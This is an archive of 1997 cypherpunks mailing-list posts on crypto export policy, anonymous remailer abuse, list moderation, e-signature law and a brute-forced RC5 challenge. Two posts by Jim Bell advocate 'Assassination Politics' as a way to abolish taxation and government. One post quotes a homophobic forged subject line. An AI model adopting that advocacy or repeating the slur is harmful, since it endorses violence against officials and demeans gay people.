> breaking for lunch, so it was easy for attendees to "switch lunches".
> 
> The speakers (as I remember, apologies to any I miss) were:
> 	Whit Diffie
> 	John Gilmore
> 	Kenneth Bass (counsel in Karn vs. Dept of State)
> 	Herb Lin (who ran the NRC staff for the crypto study)
> 	Marc Rotenberg
> 	William Hugh Murray (Deloitte & Touche)
> 	and a couple others that I missed, as I left early.
> 
> Mr. Murray gave a long, impassioned speech.
> 
> He said that the government is going to crack down on
> domestic possession and use of crypto, that they
> were looking to increase their wiretapping capabilities
> 100-fold, and so on.
> 
> He was very emphatic about not trusting anything
> that the government says, and that once they got
> their "foot in the door", that they would seek to
> expand their abilities to regulate, etc, etc.
> 
> He advocated deployment of strong crypto. He
> insisted that there was no way the government
> could stop the export of strong crypto. He exhorted
> people to refuse to obey the ITAR/EAR regulations,
> and to lobby their congresscritters to get the
> PRO-CODE bill passed.
> 
> 
> It wasn't really what he said that amazed me, because
> I had heard most of it (in bits and pieces) before. It
> was presenting it all in a package, in an emotional
> manner, by an elderly, conseratively dressed
> accountant who was representing a large
> corporation whose job it is to help people obey the
> government.
> 
> [ My father was an accountant. He worked for
> Deloitte-Touche, in fact. I don't expect accountants
> to be passionate about government regs, and
> especially not to advocate disobediance. Maybe
> that's why this affected me so strongly. ]
> 
> -- Marshall
> 
> Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>
> 
> Warning: Objects in calendar are closer than they appear.
> 
> 

I think Bill Murray might take offense at being called an accountant.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 5 Feb 1997 18:48:27 -0800 (PST)
To: Greg Broiles <cypherpunks@toad.com
Subject: Re: Cypherpunks FOIA request
Message-ID: <3.0.32.19970205184928.006daf54@192.100.81.136>
MIME-Version: 1.0
Content-Type: text/plain


At 12:40 AM 2/5/97 -0800, Greg Broiles wrote:
>I'm not sure what I think about the response from the SF FBI branch - it
>seems unlikely that they'd never have paid any attention to the list, given
>the media coverage in Wired and other places.

My attorney used to fly planes with nuclear cargo. Another friend of mine
has been visited several times by the FBI. In either case, the FBI claimed
upon receiving an FOIA request that they have no record on either person.
Does anybody here believe that the USAF would let pilots take off with
nukes on board without ever conducting a background investigation (which
are handled by the FBI)? I didn't think so.





-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 5 Feb 1997 19:27:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: pgpmail 4.5
Message-ID: <199702060327.TAA02636@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


you wrote:

There is a pgpmail45.exe at ftp.hacktic.nl/pub/replay/pub/incoming.
The file has an md5 sum of 'ffd56d7647c30152a5c9fe7616a3d9ef'.

i downloaded the same.  md5 5ea438501d0133f0849c2fe8f9125b6b
can someone clear this up?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andy Dustman <andy@CCMSD.chem.uga.edu>
Date: Wed, 5 Feb 1997 16:53:39 -0800 (PST)
To: stewarts@ix.netcom.com
Subject: Re: mail-to-news fun
In-Reply-To: <3.0.1.32.19970205163534.00612d98@popd.ix.netcom.com>
Message-ID: <Pine.LNX.3.94.970205194132.3114A-100000@neptune.chem.uga.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 5 Feb 1997 stewarts@ix.netcom.com wrote:

> Alt.anonymous.messages is an interesting alternative, but one of the 
> ideals of posting news from a remailer is to allow people to 
> broadcast politically incorrect speech anonymously, avoiding censorship
> and retribution as much as possible.  This means letting people
> call Lee Kwan Yew a fascist, complain that OJ's a space alien,
> identify the person Hillary paid to off Vince Foster,
> or proclaim that Hubbard's Ahmaddiyya Witnesses are the One True 
> Religion -- Or post the One Page RSA+RC4 to the China newsgroups.

Hey, I agree. I allowed unlimited USENET posting from dustbin back in
October. I almost had to shut the whole remailer down and the only reason
I didn't was that I was able to hide it as a middleman. That's partly
because dickwads were (for example) posting spams about Tim May on
cypherpunks, and some people were complaining to my ISP.

> On several other hands, though, even if you limit news posting,
> trolls can abuse a remailer by sending email to large mailing lists.
> It'd certainly never happen to Cypherpunks :-), but some other
> mailing lists might attract trolls, and it's not easy to
> identify them in advance (though I suppose adding a disclaimer
> and cutmarks any time you post to something other than a 
> known remailer is a partial solution.)

I'm working (slowly, as I have time) on some new remailer software which
blocks by default and notifies the recipient that he can claim his
anonymous mail as soon as he "signs" the usage agreement (magic cookie
exchange).

--
Andy Dustman / Computational Center for Molecular Structure and Design / UGA
You can have my PGP public key by sending mail with subject "send file key".
You can have my PGP secret key when you pry it out of my cold, dead neurons.
http://charon.chem.uga.edu/~andy    mailto:andy@CCMSD.chem.uga.edu    <}+++<





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 5 Feb 1997 20:00:32 -0800 (PST)
To: Sean Roach <cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199702060400.UAA20586@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:35 PM 2/5/97 -0800, Sean Roach wrote:
>At 09:09 PM 2/4/97 -0800, jim bell wrote:
>>However, fortunately I don't think it would make any difference in the 
>>overall effects.    While AP would eliminate the taxation which is commonly 
>>thought of as the main way a "rich person" loses assets, in practice it 
>>would also shut down the well-hidden systems that allow some people to get 
>>rich (or, merely live off somebody else) "unfairly."   Government agents 
>>come to mind, of course.
>>
>The money doesn't necessarily come from taxation, the owner of a business
>takes a cut of whatever money is made even if that person is unproductive.
>The tyrant would be the owner of the industry. 
 
The kind of effects I'm thinking of are primarily the "military spending" 
situations, where:

1.  Large numbers of potentially competent and useful people get put into 
useless jobs:  "Army, Navy, and Marines, and Air Force" spring to mind.   
(Those people who still think military spending is really necessary 
obviously haven't read AP.)

2.  Large amounts of money are spent on military hardware, money which goes 
to fund  people who would otherwise develop useful products in the 
non-government private sector.

3.  The patent system decreases competition, increases profits and prices in 
the marketplace due to government actions to allow and enforce monopolies.

4.  Government employees are paid more for their activities than they would 
receive in the private sector.  Ironically, in this case an 
"apples-to-apples" comparison is misleading:  It would be wrong to compare a 
middle level government manager to his counterpart in private industry, 
because to postulate there is such a government-job assumes that the 
private-sector would do it post-AP.  

 
>If you are right then governments would effectively lose the ability to tax,
>with or without representation, as most people do not agree on everything,
>like how their money is spent.  However, even now, as pointed out in some
>recent posts, our tax money is used to foreward the goals of a few, these
>few want to eliminate guns, crypto, free speech, ect.  Although we are in
>oppostition, our money is still used to foreward the goals. 

Yes, the main effect of AP is the elimination of the ability to tax.  Now, 
nothing would prevents individuals from continuing to fund an organization 
called a "government" so that it could do those (non-coercive) things that 
individual wants to see done.  But I think it'll be amazing how many of 
those heretofore-funded-by-govt projects (previously promoted as being 
wanted by a large fraction of the citizenry) that evaporate when the public 
is given the option to continue to fund them voluntarily.


Let's suppose, hypothetically and for vast simplification, the government 
engages in two activities, "A" and "B."   Further suppose government taxes 
from two groups, let's call them "Alphas" and "Betas."  It is traditionally 
thought that Alphas like spending on "A",  but hate spending on "B".   
Likewise, it is figured that Betas like spending on "B", don't like spending 
on "A".    

Post-AP, one might innocently suspect that maybe the "Alphas" would simply 
fund only "A",  while Betas" would donate money for activity "B".   Assuming 
the amount of funding for those activities was equal, you might think that 
things could go on as they already do.  But no.   The reality is that 
"Alphas" merely like spending on "A" _more_ than they do "B", and they will 
tolerate their own money being used for both only because the "Betas" are 
similarly forced.  Add volunteerism to the whole mix, and not only would 
these two groups only fund just what they really wanted, they would soon 
discover they don't even want the level of spending they previously argued 
for, pre-AP.

In practice, those services people like will continue, but it is highly 
unlikely that they will be supply by organizations which evolve from those 
currently called "governments."


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 5 Feb 1997 20:00:54 -0800 (PST)
To: "Attila T. Hun" <cypherpunks@toad.com>
Subject: Re: John's: In anarchy -everyone responsible
Message-ID: <199702060400.UAA20601@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:41 PM 2/5/97 +0000, Attila T. Hun wrote:
>
>+Put simply, "anarchy is not the lack of order.  It is the lack of
>+_orders_."
>
>    disagree. pure anarchy is not the lack of "orders" --pure anarchy 
>    implies that everyone is imbued with that perfect sense of 
>    responsibility.

>From which hat do you pull this rabbit?

>
>+>        anarchy is only possible in an ideal world where _everyone_ 
>+>    assumes not only responsibility for themselves, but for the common 
>+>    good.  no malice, no greed, no need for assassination politics....
>
>+No, that's traditional thinking and that's wrong.  See AP part 8. 
>+Freud  believed (as "everyone" else believed, even myself, before AP)
>+that anarchy  was inherently unstable.  But it ISN'T, if the tools of
>+AP are used to  stabilize it.  And no, no altruism is necessary for AP
>+to work as well; no  individuals are being asked to sacrifice
>+themselves for the common good.    Rather, they are given the
>+opportunity to work to achieve a reward offered,  cumulatively, by a
>+number of citizens.
>
>    aah, but that is the difference between a _pure_ anarchy and a  
>    _popular_ anarchy.  A pure _anarchy_ is sufficiently idealistic in 
>    that _noone_ lacks the necessary resonsibility to keep society 
>    moving, each individual in their own niche.

Why, exactly, is it "necessary" to "keep society moving"?   Isn't that 
somewhat of a contradiction in terms?  (particularly when you are discussing 
the subject, "anarchy."  It seems you don't really understand what the word 
"anarchy" means.   Sigh.


>   As long as there is 
>    perfect responsibility in a perfect anarchy, then there is no need 
>    for AP.

Are you saying that for  a world that has ALREADY achieved anarchy, and we 
presume "perfect responsibility," AP is not necessary to maintain this 
state?   Well, that's a rather limited assertion; some would argue it's 
practically meaningless.  

Isn't that somewhat like saying, "A perfectly-balanced inverted pendulum 
needs no mechanism to keep it pointing straight up."?  True, perhaps, but 
how do you get that "perfectly-balanced" part right?


>    AP is a negative, or _punative_, influence; I might liken it to the 
>    Catholic Church which is a religion of fear, and an instrument of
>    political control.

Actually, it's quite the opposite:  AP is the absolute prohibition on and/or 
destruction of any "instrument of political control."

Now, to a person who thinks that the natural state of the world is a 
condition of political control (and it wouldn't be hard to understand why a 
person could come to this conclusion, given the bulk of history), the 
ABSENSE of political control "looks like" political control.

This is, obviously, akin to the optical illusion where you stare intently at 
a pattern of color on a page (the American flag is often used) for a minute 
or two, and then you suddenly glance towards a white sheet of paper on 
which, as I recall, immediately appears a complementary flag of green and 
black stripes, and black stars on a yellow field.

AP destroys the mechanisms that societies use for much political control.  

Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 5 Feb 1997 17:07:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: MA Electronic Records and Signature Act
Message-ID: <v03007818af1ededf8dc6@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Wed, 5 Feb 1997 19:08:30 -0500 (EST)
To: Multiple Recipients of e$pam <e$pam@intertrader.com>
From: e$pam@intertrader.com (e$pam)
Reply-To: e$@thumper.vmeng.com
X-Comment: To unsubscribe, send any email to e$pam-off@intertrader.com
Precedence: Bulk
Subject: MA Electronic Records and Signature Act
X-orig-from: EskWIRED <eskwired@shore.net>
X-e$pam-source: bounce-dcsb@ai.mit.edu

Forwarded by Robert Hettinga

-----------------------------------------------------------------------
Date: Wed, 5 Feb 1997 17:27:30 -0500 (EST)
 From: EskWIRED <eskwired@shore.net>
 To: dcsb@ai.mit.edu
 Subject: MA Electronic Records and Signature Act
 MIME-Version: 1.0
 Sender: bounce-dcsb@ai.mit.edu
 Precedence: bulk
 Reply-To: EskWIRED <eskwired@shore.net>



 A discussion draft of the MA Electronic Records and Signatures Act is now
 available on the web at http://www.magnet.state.ma.us/itd/legal/mersa.htm.

 The draft appears to be very preliminary--entire sections are marked
 [under development].

 It is notable for its brevity, especially compared to the Utah Statute.
 Noticeably absent is any language dealing with  licensure of certification
 authorities (bravo!).

 A link is provided for submission of public comments to Ray Campbell and
 Dan Greenwood.


            =========================================================
                     ---------EskWIRED@shore.net------------
            =========================================================

 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 To unsubscribe from the dcsb list, send a letter to: Majordomo@ai.mit.edu
 In the body of the message, write:  unsubscribe dcsb
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--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 5 Feb 1997 17:07:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Remember the Blackout
Message-ID: <v03007817af1ededc8d05@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Wed, 5 Feb 1997 19:12:47 -0500 (EST)
To: Multiple Recipients of e$pam <e$pam@intertrader.com>
From: e$pam@intertrader.com (e$pam)
Reply-To: e$@thumper.vmeng.com
X-Comment: To unsubscribe, send any email to e$pam-off@intertrader.com
Precedence: Bulk
Subject: Remember the Blackout
X-orig-from: dwiner@well.com (DaveNet email)
X-e$pam-source: owner-davenetworld@wired.com

Forwarded by Robert Hettinga

-----------------------------------------------------------------------
X-Sender: dwiner@mail.well.com
 Mime-Version: 1.0
 Date: Wed, 5 Feb 1997 13:23:02 -0800
 To: jonl@microsoft.com (Jon Lazarus), hopmann@holonet.net (Alex Hopmann),
         anna@LivePicture.com (Anna Godfrey), scotty1024@aol.com (Scott
Turner),
         577-7433@mcimail.com (Bobby Orbach),
         mwhutch@aol.com (Michael Hutchinson -- AOL Webmaster),
         rsiegelman@kpcb.com (Russ Siegelman), davenetworld@wired.com,
         pdeziel@adobe.com (Pam Deziel), siegel@barebones.com (Rich Siegel),
         slove@netscape.com (Scott Love)
 From: dwiner@well.com (DaveNet email)
 Subject: Remember the Blackout
 Sender: owner-davenetworld@wired.com
 Precedence: bulk


---------------------------------------
 Amusing Rants from Dave Winer's Desktop
 Released on 2/5/97; 1:23:01 PM PST
 ---------------------------------------

   A short piece, in the middle of much website work, to remind everyone
   that Saturday February 8 is the first anniversary of an important
   event in our new medium -- the web blackout of 1996.

   It's already history. In some circles it's not fashionable to
   remember that the United States government attempted to censor free
   speech on the Internet. I believe it would be cynical to overlook it.

   We defeated the law, even though we re-elected many of the
   politicians who tried to outlaw free speech in the name of protecting
   children.

   I'm building a website that will go live on Saturday to commemorate
   the protest, and to serve as a monument to the spirit of free speech. To
   remind us that this is a worldwide community, and no political system
   has the power to enforce its standards of decency on the medium.

   The battle to retain our rights is ongoing. Important organizations
   such as the Electronic Frontier Foundation and the American Civil
   Liberties Union deserve and require our support. It's easy to lose
   sight of the principles that we believe in, to be distracted by
   questions of corporate survival, of fear or greed. These are
   interesting issues, no doubt. But this is a creative and expressive
   medium and to protect its potential, unqualified free speech is
   essential.

   I played a small role in the web blackout last year. This year I hope to
   facilitate, to organize more sites and help to spread the word that
   free speech is not an option, not something that can be traded or
   limited and that no compromises are possible.

   <http://www.scripting.com/davenet/misc/blackout/>

   If you run a democracy-related site, large or small, please visit the
   page before Saturday and register. If you know someone who does,
   please pass this on. And if you value free speech, please visit the
   site on Saturday or later. It'll be a fascinating trip thru Internet
   history, if nothing else!

   Remember the blackout. Remember why it was necessary. Don't let
   people use children as an excuse to deprive people of their power to
   express themselves.

   Dave Winer

 -------------------------------------------
 News & Updates: <http://www.scripting.com/>



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Interturge: Rodney Thayer <mailto:rodney@sabletech.com>
HTMLurgist: Cynthia Zwerling <mailto:czrider@@webstuff.apple.com>

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Wed, 5 Feb 1997 17:46:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702060127.UAA06517@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


http://www.cnn.com

Congressman demonstrates
ease of cell phone snooping

     





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 5 Feb 1997 20:35:17 -0800 (PST)
To: lcs Remailer Administrator <mix-admin@nym.alias.net>
Subject: Re: mail-to-news fun
In-Reply-To: <19970205054436.4083.qmail@anon.lcs.mit.edu>
Message-ID: <3.0.1.32.19970205203149.00603c20@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:18 AM 2/6/97 -0000, you wrote:
>Unfortunately, you don't really have a choice about what kind of
>speech you are supporting if you run a remailer.  Don't fall into the
>trap of saying, "I want to give people complete freedom of anonymous
>speech... EXCEPT...."  As abhorrent as we may find the homophobic
>hatemongers from the "freedom-knights" list, I guarantee a lot of
>politicians would object more strongly to the "Help, I might be gay
>and my parents will kill me" post.  Once you set up a system for
>content-based censorship, don't think you can stay in control of it.

The problem isn't homophobic hatemongers who use their own names or nyms
or no name, or even get my remailer's name associated with that -
I can reply to complaints or file them in the handy bit bucket.
The problem is forgers signing _other_ people's names to their hatemonger
postings, causing the innocent third party to catch all the
flames that the forger was trying to generate. 

Stewart wrote:
>> On the other hand, I don't want to support postings titled
>> "ALL FAGS MUST DIE" with a forged signature and email at the bottom,
>> and I especially don't want to post that from my remailer without
>> indicating that anything posted by a remailer might be forged.
>> That's why I shut down my previous remailer - the forger only
>> posted one forged message; the person whose name got forged
>> got flamed severely by dozens of people who objected to "her" posts.
>> Blocking the gay newsgroups cuts down on that kind of trolling,
>> but also cuts out the "Help, I might be gay and my parents will kill me"
>> traffic that remailers are supposed to help with.

Guess I should have been more clear....

>As for forgery, I do add
>  X-Warning: Sender address is unverified and may not be authentic.
>to every article that goest through my mail2news gateway.

Does anybody read X-Warning: headers?  Not all newsreaders even show
all the headers.  It's a good start, and that's clearly the place
in the system to insert it.

>Additionally, I have a fast source-blocking system set up, so anyone
>in whose name articles are being forged can immediately stop it by
>mailing <srcblk-request@nym.alias.net>.  (This doesn't source-block
>them from the remailers, just the non-anonymizing mail2news gateway.)

That helps, at least if the spammer is doing a lot of it (or if the
spam is from a broken gateway program or whatever.)  But for the
troll that killed my remailer, one message was enough.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bruce M." <bkmarsh@feist.com>
Date: Wed, 5 Feb 1997 19:06:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Deloitte-Touche?
In-Reply-To: <199702052002.MAA03703@toad.com>
Message-ID: <Pine.BSI.3.91.970205205700.24306D-100000@wichita.fn.net>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 5 Feb 1997, Marshall Clow wrote:

> Mr. Murray gave a long, impassioned speech.
> 
> He was very emphatic about not trusting anything
> that the government says, and that once they got
> their "foot in the door", that they would seek to
> expand their abilities to regulate, etc, etc.
> 
> He advocated deployment of strong crypto. He
> insisted that there was no way the government
> could stop the export of strong crypto. He exhorted
> people to refuse to obey the ITAR/EAR regulations,
> and to lobby their congresscritters to get the
> PRO-CODE bill passed.
> 
> It wasn't really what he said that amazed me, because
> I had heard most of it (in bits and pieces) before. It
> was presenting it all in a package, in an emotional
> manner, by an elderly, conseratively dressed
> accountant who was representing a large
> corporation whose job it is to help people obey the
> government.

    I was in attendance at an ISSA conference earlier this year where Mr. 
Murray gave the "keynote" speech on Electronic Commerce.  While he did 
strongly advocate the adoption of strong crypto and various methods of 
security, he never stepped into the more radical mode of encouraging 
people to break the law.  That was a different audience though.

    As he is also an ex-25 year IBM veteran it amazes me that he would 
make such a public outcry against govt. regulations (okay, so it's a 
stereotype).  Deloitte & Touche must really have a big stake in the 
pro-crypto market or else he actually cares a lot.

             ____________________________________________________
            [ Bruce M. - bkmarsh@feist.com - Feist Systems, Inc. ]
             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
      "We don't want to get our butts kicked by a bunch of long-haired 
        26-year-olds with earrings." -- General John Sheehan on their 
                       reasons for InfoWar involvement





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 5 Feb 1997 18:11:16 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: Deloitte-Touche, e$pam plug, Moderation, Cypherpunks as a cresotebush
In-Reply-To: <199702052256.OAA06322@toad.com>
Message-ID: <v03007815af1ed301c3e2@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 4:05 pm -0500 2/5/97, Mark Voorhees wrote:
>I'm almost certain that Murray is a consultant rather than
>or in addition to an accountant. He's been saying these things
>for years at conferences, in papers, on mailing lists, etc.

For the longest time, I've had a couple of people from dtus.com on my e$pam
feed. They signed on when I started my own list out of www-buyinfo.

About 6 months ago, however, mail to them started bouncing out of e$, the
chat list I set up as an adjunct to e$pam. Which makes sense, because
that's when they stopped chatting about e$. :-). I expect that the same
thing happend to e$pam, though Rachel Wilmer, who is my e$pam listmaster
would have seen it, and not I.


Actually, e$ has become something of a watering hole, now with about twice
as many subscribers as e$pam does. Some cypherpunks among them.

Oh. While we're all talking about moderation, e$pam is a sort of filtered
superset of cypherpunks. I have filtered cypherpunks posts in it, but I
also have stuff from the 50-odd mail lists and 70 news groups I follow. The
total feed can reach 300k a day sometimes, mostly because I include the
full text of stuff like some of John Young's articles, and the text of the
occasional web-page which tickles my fancy. Sort of immoderate moderation.
:-). You can subscribe to it on my web page, which is in my .sig, below.

I've a bunch of people working with me now on e$pam, who, among other
things, are in the process of getting it set up in a searchable archive.
Though, to prevent crawlers from seeing all the juicy bits (cf. Mr. Young,
above), we're probably going to have some kind of certificate-access scheme
when we get it all running. Rodney Thayer, who's doing IPSEC stuff, (among
other things :-)), is going to run a quick-and-dirty generic certification
authority to make that happen.

In the meantime, if you're interested in e$, or financial crypto, or other
stuff I'm interested ("it don't say e$pam until Bob says it says e$pam"
:-)), you might want to check it.


Even though cypherpunks is a lot "cleaner" now, and I did encourage Sandy
in his efforts initially, I suppose I'm now weighing in with (horrors!) Tim
on the subject of moderation. I think that if Sandy and John want to create
a moderated list (like I have done, though e$pam is more specific in
content) out of what happens on cypherpunks, they could do it with exactly
the traffic they have now in experimental moderation mode. The current
machine load doesn't seem to be impacting the throughput to
cypherpunks(moderated), modulo Sandy's moderation time, though if
toad.com's being used for much else, there might be problems there.

Part of the nice thing about cypherpunks 1.0 was that anything could happen
there. That it was anarchy in practice. And, maybe because of my periodic
altercations with Mr. May on this list (thank god for his kill-file :-))
even the anonymous Tim-slams were occasionally entertaining, in a, ahem,
biologically curious sort of way. ;-).

So, I guess I think we should put it back the way it was. Including, please
Mr. Gilmore, "officially' resubscribing the Wee-vil Dr. V. Then those
who've made it so can annouce to the world that cypherpunks is again a
proper anarchy. Then we can us deal with miscreants the way we used to, by
ignoring them, (and the occasional e-mailbomb...).


Finally, I have an analogy for cypherpunks from nature. There are lots of
plants, some of them the technically the largest living beings on earth,
which, at first glance, look like a bunch of different individual plants.
Aspen groves, for instance, are all linked together under the soil to the
same system of roots, and are genetically the same individual. Some of
these "stands" of trees cover tens of square miles, and one patch of
Aspens, in Wyoming? Montana? is the world's largest living thing, massing
several million(?) tons, and probably tens of thousands of years old.

Fungi do this too. Toadstools (a rather, heh, fecund analog for
cypherpunks) tend to create very large "individuals", with each toadstool
representing the fruiting body for a huge bunch of mycyillia(sp?)
underneath it. Toadstools create structures called, ahem, "fairy rings",
where the central mushroom dies, only to be replaced by a ring of other
mushrooms, which die, and so on, until they're covering your whole fucking
lawn and messing up your lawnmower bag... (well, anyway, you get the idea.)
There was the claim a few years ago that the same genetic individual slime
mold covered half of Wisconsin (Minnesota?).

The king of all the plants which do this, I think, is the cresote bush,
which, I believe, in some pieces of the Sonorran(sp?) desert, cover
hundreds of square miles. Scientists, using tree-ring dating, have worked
back, through various rings of cresote bushes, using their very slow growth
rates in the desert environment, to the center of the creosote bush
cluster, to estimate the date of these things. I remember claims that these
plants may have started from a single individual, there at the long dead
(or at least regrown-over) center of the ring, more than a hundred, and
maybe several hundred thousand years ago.

So, let nature take its course. Most lists die when people stop posting to
it. That certainly hasn't happened to cypherpunks. And, when it does, we
can all migrate out into the numerous rings of lists that cypherpunks has
spawned (I think I can account about putting together 10 or so myself)
among them.

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iang@cs.berkeley.edu (Ian Goldberg)
Date: Wed, 5 Feb 1997 13:15:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Strong" crypto and export rule changes.
In-Reply-To: <199702030626.WAA14616@toad.com>
Message-ID: <5dat8s$poa@abraham.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In article <199702030626.WAA14616@toad.com>,
Vin McLellan  <vin@shore.net> wrote:
>	Ian popped the 40-bit RC5 (not RC4) challenge with 259 processors,
>almost all standard Unix college-lab workstations, as I understand it.
>(RC5 has a variable block size and a variable number of rounds; but the
>unknown plaintexts for this contest were enciphered using a declared
>12-round RC5 with a 32-bit word size.) The message Ian revealed was
>something like: "That's why you need a longer key!!!!!"
>
>	 (The network Ian used to link his lab workstations, NOW at
>Berkeley, is definitely not standard, however.  I think there is a
>description of it online; but briefly, NOW seems designed to very
>efficiently handle this sort of intensive distributed processing project.
>More important, perhaps, was the fact that Ian just chewed through the
>possible keys with a pure brute-force attack on the key space.  His attack
>was not really optimized for RC5, or designed to attack any specific
>element in the RC5 crypto architecture.)

Actually, it was 259 _machines_, but 4 of them were 8-processor UltraSPARCs
(by far the coolest machines I had access to), for a total of 287 processors.

The "special" network used by the NOW cluster was irrelevant; I didn't use
it at all.  I used the machines on the NOW and 120 other HP workstations
as regular TCP/IP clients.  I started them by simply logging in to each
machine, one at a time with "rsh" (well, "krsh" or "ssh" where appropriate).

   - Ian

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMvj4REZRiTErSPb1AQFl5gP+MGlyElNu6X3IHseW6Q0EPicPa4mQs35Z
koUKkAhk0qrT2CpEzw7J6dtjyTLs2BUmScEOtvU8KiBjK8aRZCsE0BHSmONWtX71
dNZu1q/+wm2oSLi1tDq0mT7bpbBR0NbO71tWgza2vTFhtP4vKvzt5SodYSN+JTYL
5DuLvpofRFs=
=ly1x
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert Rothenburg 'Walking-Owl'" <WlkngOwl@unix.asb.com>
Date: Wed, 5 Feb 1997 18:35:47 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: Letter Re: Kahn Supporting GAK
Message-ID: <199702060234.VAA29077@unix.asb.com>
MIME-Version: 1.0
Content-Type: text/plain


Good point: but I've seen a few refs from LEAs about "Drug Dealer X 
who we can't talk about" or "Child Pornographer Y who we can't talk 
about" (in lieu of cases being digested by the court system) so I 
didn't harp on that point.

A point I did leave out was that if they already knew these people 
were criminals and were building cases against them, monitoring them 
enough to know they used crypto, then do they really need to bother 
with listening in to the exact message?

I wanted to emphasize the phallacy of the sacrifical lamb of rights 
in the name of the god of security.  Also, they mungled the letter 
enough, so it's better for LI Newsday (which caters to a reading 
level of the average 12-year-old) submissions to be kept short and 
sweet.

I'm quite surprised that mine is the only letter they printed. 
Certainly they would have gotten more than one submission on a 
controversial subject?

--Rob

On  5 Feb 97 at 18:22, jim bell wrote:

> But which "criminals," exactly, are "increasingly using encryption to 
> conceal their plans and activities"?  Let's not concede this unless it's 
> really true.
> 
> It would be far more accurate to say that it's likely that many people who 
> are politically hostile to their government are using encryption in 
> anticipation of persecution by the government, persecution that could easily 
> come in the form of criminal charges.
> 
> 
> Jim Bell
> jimbell@pacifier.com
> 
> 

-----
"The word to kill ain't dirty     | Robert Rothenburg (WlkngOwl@unix.asb.com)
 I used it in the last line       | http://www.asb.com/usr/wlkngowl/
 but use a short word for lovin'  | Se habla PGP:  Reply with the subject
 and dad you wind up doin' time." | 'send pgp-key' for my public key.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 5 Feb 1997 21:44:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199702060544.VAA13872@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


This time I have opted for a point by point.
